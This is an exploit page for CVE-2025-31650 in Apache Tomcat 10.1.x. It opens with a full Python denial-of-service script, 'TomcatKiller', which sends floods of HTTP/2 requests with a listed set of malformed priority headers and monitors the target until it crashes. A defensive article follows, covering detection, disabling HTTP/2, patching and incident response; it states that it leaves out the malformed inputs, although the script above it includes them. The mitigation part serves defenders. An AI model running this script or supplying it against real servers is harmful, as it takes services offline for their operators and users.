Apache Tomcat 10.1.39 - Denial of Service (DoS)
# Exploit Title: Apache Tomcat 10.1.39 - Denial of Service (DOS)
# Author: Abdualhadi khalifa
# CVE: CVE-2025-31650
import httpx
import asyncio
import random
import urllib.parse
import sys
import socket
from colorama import init, Fore, Style
init()
class TomcatKiller:
def __init__(self):
self.success_count = 0
self.error_count = 0
self.invalid_priorities = [
\\\"u=-1, q=2\\\",
\\\"u=4294967295, q=-1\\\",
\\\"u=-2147483648, q=1.5\\\",
\\\"u=0, q=invalid\\\",
\\\"u=1/0, q=NaN\\\",
\\\"u=1, q=2, invalid=param\\\",
\\\"\\\",
\\\"u=1, q=1, u=2\\\",
\\\"u=99999999999999999999, q=0\\\",
\\\"u=-99999999999999999999, q=0\\\",
\\\"u=, q=\\\",
\\\"u=1, q=1, malformed\\\",
\\\"u=1, q=, invalid\\\",
\\\"u=-1, q=4294967295\\\",
\\\"u=invalid, q=1\\\",
\\\"u=1, q=1, extra=\\\",
\\\"u=1, q=1; malformed\\\",
\\\"u=1, q=1, =invalid\\\",
\\\"u=0, q=0, stream=invalid\\\",
\\\"u=1, q=1, priority=recursive\\\",
\\\"u=1, q=1, %invalid%\\\",
\\\"u=0, q=0, null=0\\\",
]
async def validate_url(self, url):
try:
parsed_url = urllib.parse.urlparse(url)
if not parsed_url.scheme or not parsed_url.hostname:
raise ValueError(\\\"Invalid URL format. Use http:// or https://\\\")
host = parsed_url.hostname
port = parsed_url.port if parsed_url.port else (443 if parsed_url.scheme == \\\'https\\\' else 80)
return host, port
except Exception:
print(f\\\"{Fore.RED}Error: Invalid URL. Use http:// or https:// format.{Style.RESET_ALL}\\\")
sys.exit(1)
async def check_http2_support(self, host, port):
async with httpx.AsyncClient(http2=True, verify=False, timeout=5, limits=httpx.Limits(max_connections=1000)) as client:
try:
response = await client.get(f\\\"https://{host}:{port}/\\\", headers={\\\"user-agent\\\": \\\"TomcatKiller\\\"})
if response.http_version == \\\"HTTP/2\\\":
print(f\\\"{Fore.GREEN}HTTP/2 supported! Proceeding ...{Style.RESET_ALL}\\\")
return True
else:
print(f\\\"{Fore.YELLOW}Error: HTTP/2 not supported. This exploit requires HTTP/2.{Style.RESET_ALL}\\\")
return False
except Exception:
print(f\\\"{Fore.RED}Error: Could not connect to {host}:{port}.{Style.RESET_ALL}\\\")
return False
async def send_invalid_priority_request(self, host, port, num_requests, task_id):
async with httpx.AsyncClient(http2=True, verify=False, timeout=0.3, limits=httpx.Limits(max_connections=1000)) as client:
url = f\\\"https://{host}:{port}/\\\"
for i in range(num_requests):
headers = {
\\\"priority\\\": random.choice(self.invalid_priorities),
\\\"user-agent\\\": f\\\"TomcatKiller-{task_id}-{random.randint(1, 1000000)}\\\",
\\\"cache-control\\\": \\\"no-cache\\\",
\\\"accept\\\": f\\\"*/*; q={random.random()}\\\",
}
try:
await client.get(url, headers=headers)
self.success_count += 1
except Exception:
self.error_count += 1
async def monitor_server(self, host, port):
while True:
try:
with socket.create_connection((host, port), timeout=2):
print(f\\\"{Fore.YELLOW}Target {host}:{port} is reachable.{Style.RESET_ALL}\\\")
except Exception:
print(f\\\"{Fore.RED}Target {host}:{port} unreachable or crashed!{Style.RESET_ALL}\\\")
break
await asyncio.sleep(2)
async def run_attack(self, host, port, num_tasks, requests_per_task):
print(f\\\"{Fore.GREEN}Starting attack on {host}:{port}...{Style.RESET_ALL}\\\")
print(f\\\"Tasks: {num_tasks}, Requests per task: {requests_per_task}\\\")
print(f\\\"{Fore.YELLOW}Monitor memory manually via VisualVM or check catalina.out for OutOfMemoryError.{Style.RESET_ALL}\\\")
monitor_task = asyncio.create_task(self.monitor_server(host, port))
tasks = [self.send_invalid_priority_request(host, port, requests_per_task, i) for i in range(num_tasks)]
await asyncio.gather(*tasks)
monitor_task.cancel()
total_requests = num_tasks * requests_per_task
success_rate = (self.success_count / total_requests * 100) if total_requests > 0 else 0
print(f\\\"\\\\n{Fore.MAGENTA}===== Attack Summary ====={Style.RESET_ALL}\\\")
print(f\\\"Target: {host}:{port}\\\")
print(f\\\"Total Requests: {total_requests}\\\")
print(f\\\"Successful Requests: {self.success_count}\\\")
print(f\\\"Failed Requests: {self.error_count}\\\")
print(f\\\"Success Rate: {success_rate:.2f}%\\\")
print(f\\\"{Fore.MAGENTA}========================={Style.RESET_ALL}\\\")
async def main():
print(f\\\"{Fore.BLUE}===== TomcatKiller - CVE-2025-31650 ====={Style.RESET_ALL}\\\")
print(f\\\"Developed by: @absholi7ly\\\")
print(f\\\"Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers.\\\")
print(f\\\"{Fore.YELLOW}Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.{Style.RESET_ALL}\\\\n\\\")
url = input(f\\\"{Fore.CYAN}Enter target URL (e.g., https://localhost:8443): {Style.RESET_ALL}\\\")
num_tasks = int(input(f\\\"{Fore.CYAN}Enter number of tasks (default 300): {Style.RESET_ALL}\\\") or 300)
requests_per_task = int(input(f\\\"{Fore.CYAN}Enter requests per task (default 100000): {Style.RESET_ALL}\\\") or 100000)
tk = TomcatKiller()
host, port = await tk.validate_url(url)
if not await tk.check_http2_support(host, port):
sys.exit(1)
await tk.run_attack(host, port, num_tasks, requests_per_task)
if __name__ == \\\"__main__\\\":
try:
asyncio.run(main())
print(f\\\"{Fore.GREEN}Attack completed!{Style.RESET_ALL}\\\")
except KeyboardInterrupt:
print(f\\\"{Fore.YELLOW}Attack interrupted by user.{Style.RESET_ALL}\\\")
sys.exit(0)
except Exception as e:
print(f\\\"{Fore.RED}Unexpected error: {e}{Style.RESET_ALL}\\\")
sys.exit(1) Apache Tomcat 10.1.39 — Denial of Service (CVE-2025-31650): Overview and Mitigation
This article explains the CVE-2025-31650 Denial of Service (DoS) issue affecting certain Apache Tomcat 10.1 releases, how the vulnerability behaves at a high level, how to detect potential exploitation and system impact, and the recommended mitigation and hardening measures for administrators and security teams. The emphasis is on defensive, non-actionable guidance suitable for incident response and secure operations.
Executive summary
- CVE: CVE-2025-31650 (reported affecting Tomcat 10.1.10–10.1.39 in community reports).
- Root cause (high level): malformed or unexpected HTTP/2 priority data leading to a memory leak in Tomcat's HTTP/2 handling layer, which can eventually exhaust heap memory and cause service disruption.
- Impact: local or remote Denial of Service via increased memory consumption and possible OutOfMemoryError conditions, causing degraded performance or process crash and restart loops.
- Primary mitigations: upgrade to a patched Tomcat release (vendor recommended), disable HTTP/2 where not required, harden JVM / container resource limits, and add application-layer protections (WAF / rate-limiting).
How the issue works (high-level, non-exploitative)
The vulnerability is tied to Tomcat’s HTTP/2 handling. HTTP/2 adds more complex frame and stream management compared with HTTP/1.1 — notably support for priority and dependency frames. A logic flaw or insufficient validation in Tomcat's HTTP/2 implementation can cause it to allocate or retain data structures when it encounters malformed or crafted priority information, leading to a memory leak. Over time and with sufficient volume, this leak increases heap pressure, triggers repeated garbage collections, and can culminate in OutOfMemoryError, service slowdown, or process termination.
Note: this paragraph intentionally omits step-by-step exploit details and specific malformed inputs; such information would materially help attackers and is not included here. The focus is detection and remediation.
Affected versions and patching
- Reports indicate Tomcat 10.1.10 through 10.1.39 are affected. Always consult the official Apache Tomcat security advisory for authoritative version and patch information.
- Recommended action: upgrade to the first fixed 10.1.x release published by the Apache Tomcat project (or the vendor-packaged patched release for your distribution) as soon as possible.
- If you cannot patch immediately, apply mitigations described below (disable HTTP/2 if not required; deploy rate limiting and WAF rules).
Detection: signs of exploitation and safe host checks
Detection focuses on observing memory pressure and abnormal behavior on Tomcat JVM instances and surrounding infrastructure. The following checks are safe administrative actions for on-prem and cloud environments.
- Monitor catalina.out and application logs for repeated GC, full-GC, or OutOfMemoryError messages.
- Use JMX or command-line JVM tools to inspect heap usage and trends.
- Look for sudden or unexplained increases in the number of open HTTP/2 streams or persistent connections (if you have instrumentation that exposes protocol-level metrics).
- Check process restarts and service flapping patterns in systemd or container orchestration logs.
Example safe commands administrators can run on the Tomcat host to inspect JVM memory and process state:
# show systemd status for Tomcat (Linux systemd)
sudo systemctl status tomcat
# list Tomcat packages (Debian/Ubuntu)
dpkg -l | grep -i tomcat
# list Tomcat packages (RHEL/CentOS)
rpm -qa | grep -i tomcat
# find the Java process for Tomcat
ps aux | grep -i catalina
# sample jstat usage to observe GC behavior; replace with the Java pid
jstat -gc 1000 5
# sample jcmd usage to print memory summary; replace with the Java pid
jcmd GC.class_histogram
# jmap to get heap summary (requires matching Java versions and privileges)
jmap -heap
Explanation: The commands above help administrators verify the Tomcat process state, installed package versions and runtime JVM memory usage and GC behavior. These tools are for post-compromise or forensic inspection and do not provide exploit instructions.
Short-term mitigations (when immediate patching is not possible)
- Disable HTTP/2 on affected Tomcat instances if your environment does not require it. Removing or disabling the HTTP/2 upgrade handler prevents exposure of the specific HTTP/2 handling code path.
- Apply application-layer rate limiting and connection limits (e.g., using a fronting load balancer or WAF) to reduce the volume of potentially malicious HTTP/2 traffic reaching Tomcat.
- Harden resource limits for the Tomcat JVM: set conservative Xmx/Xms values and apply process/container memory limits to avoid node-wide instability.
- Ensure automated restart and alerting are in place — but be cautious: automatic restarts can mask repeated exploitation attempts if not combined with proper logging and forensic capture.
Example: disable HTTP/2 in Tomcat's server.xml (safe, defensive configuration)
<!-- Example: remove or comment out the HTTP/2 upgrade protocol from the Connector -->
<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="200" SSLEnabled="true">
<!-- Do NOT include or remove the UpgradeProtocol for HTTP/2 -->
<!-- <UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol" /> -->
<SSLHostConfig>
<Certificate certificateKeystoreFile="conf/keystore.jks"
type="RSA" />
</SSLHostConfig>
</Connector>
Explanation: Tomcat exposes HTTP/2 via an UpgradeProtocol child element on the TLS Connector (or via explicit configuration). Removing or commenting out the <UpgradeProtocol className="org.apache.coyote.http2.Http2Protocol"/> element prevents the HTTP/2 handshake/upgrade logic from running. After changing server.xml, restart Tomcat and validate functionality in a test environment before applying in production.
Permanent mitigation: upgrade and verify
- Upgrade Tomcat to the fixed upstream version published by the Apache Tomcat project (or the vendor-supplied package with the security fix).
- After upgrade, verify the fix by observing that the environment no longer exhibits the previous symptoms under equivalent load and that relevant advisory guidance is met.
- Confirm other components (connectors, libraries, Tomcat Native, APR, OpenSSL) are up to date if they participate in HTTP/2 handling.
Operational hardening and best practices
- Implement fine-grained resource limits: JVM maximum heap sizing, container memory limits, max threads for connectors, and socket backlog limits.
- Use a WAF or rate-limiting layer (e.g., fronting proxy or load balancer) to limit per-client request rates and per-connection stream counts for HTTP/2 traffic.
- Instrument and alert on JVM and application metrics: heap usage, GC pause times, thread counts, connection counts, and rapid increases in open streams/connections.
- Keep an up-to-date asset inventory and patch schedule. Apply critical security updates within established SLA windows, test in staging first.
- Limit exposure by only enabling HTTP/2 where required; prefer explicit configuration and review of protocol upgrade handlers.
Incident response checklist
- If you suspect exploitation, isolate the affected instance (network-level isolation) and preserve logs (catalina.out, access logs, application logs) and JVM heap dumps for forensic analysis.
- Capture a heap dump (jmap -dump:live,format=b,file=heap.bin <pid>) for offline analysis only if forensic capability and legal/operational policies permit. Heap dumps can contain sensitive data.
- Review recent access logs for anomalous patterns or spikes in HTTP/2 connections; correlate with network and load balancer logs.
- Upgrade the instance to the patched Tomcat version and validate on a staging replica before returning to production traffic.
- After remediation, monitor for residual indicators and consider rotating TLS certificates or credentials if you suspect broader compromise.
Detection rules and monitoring ideas (high-level)
- Alert on sustained increases in heap usage or a spike in Full GCs that do not resolve after expected tuning.
- Alert on repeated OutOfMemoryError messages or repeated Tomcat JVM restarts within a short period.
- Monitor fronting proxies for surges in connection counts, excessive numbers of small requests, and unusual HTTP/2 session characteristics; feed those into threat-detection workflows.
References and next steps
- Check the official Apache Tomcat security advisories and changelogs for the authoritative patch and affected-version list.
- Coordinate patching with your change-control process and test patches in staging.
- Consider an architecture review if HTTP/2 is needed for many public-facing endpoints — design fronting layers for protocol filtering, rate limiting, and graceful degradation.
Maintaining a secure Tomcat deployment requires timely patching, careful protocol configuration, and operational visibility. For CVE-2025-31650, prioritize patching and consider disabling HTTP/2 as a short-term protective measure if your applications do not need it. Combine that with resource limits, monitoring, and fronting protections to reduce the risk of DoS due to memory exhaustion.